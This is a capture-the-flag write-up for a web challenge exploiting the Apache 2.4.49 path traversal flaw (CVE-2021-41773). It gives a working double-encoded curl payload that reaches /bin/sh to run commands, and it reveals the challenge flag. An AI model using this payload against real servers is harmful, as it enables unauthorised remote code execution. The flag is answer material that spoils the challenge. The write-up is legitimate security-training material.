---
# System prepended metadata

title: JerseyCTF IV 2024 Write Up
tags: [web]

---

# JerseyCTF IV 2024 Write Up
LFI to RCE, Apache 2.4.49 Exploit
URL: https://ctf.jerseyctf.com/

<br>

## Require-all-denied

Web Exploitation

Based on: [CVE-2021-41773](https://github.com/thehackersbrain/CVE-2021-41773)




### Description

We found this control panel on the Internet. It seems to be broken. Can you find out more information?

[Access Here!](http://54.160.214.145:1337/)

Developed by: [Noah Jacobson](https://github.com/noahajac)



### Enumeration


![image](https://hackmd.io/_uploads/SyDdifXo0.png)

On the main page, there is nothing interesting but the url seems a bit odd.

> [http://54.160.214.145:1337/cgi-bin/index/](http://54.160.214.145:1337/cgi-bin/index/)

Looks like the server is using apache. Try search the version by look at web header.

![image](https://hackmd.io/_uploads/B1Ql2Gmi0.png)

<br>

:notebook_with_decorative_cover: Take a Note

* [ ] Server: Apache/2.4.49 (Debian)
* [ ] Can't access route "**/cgi-bin**" and gave forbidden (**405**) but can access other  route like "**/cgi-bin/travel"** and "**/cgi-bin/status**"
* [ ] Possible LFI
* [ ] Try search the server vulnerability with keyword "**apache 2.4.49 exploit**"

<br>

### Exploit

#### Apache 2.4.49 Exploit

From here, I know that the vulnerabilities lies on path traversal (LFI) and could lead to RCE.

> [https://blog.intelliroot.com/2023/06/path-traversal-and-remote-code.html](https://blog.intelliroot.com/2023/06/path-traversal-and-remote-code.html)

Found payload from the blog above using:

```bash
curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; whoami'
```


where the basic idea is to back from previous path using ( **../** ). In the payload, using double encoding to avoid being detected/find a way so the code will work:

* ../ will be .%2e (**%2e** is url encoding equal **.**)
* .%2e will be .%%32%65 (**%32** equal **2** and **%65** equal **e**)


![image](https://hackmd.io/_uploads/rkw0hzmoC.png)
go to ../bin/sh to run a shell with given payload on the body

![image](https://hackmd.io/_uploads/rytgAzXs0.png)
got it. 



:::success
jctf{plz\_p4tch\_y0ur\_s3rv3rs}
:::

---

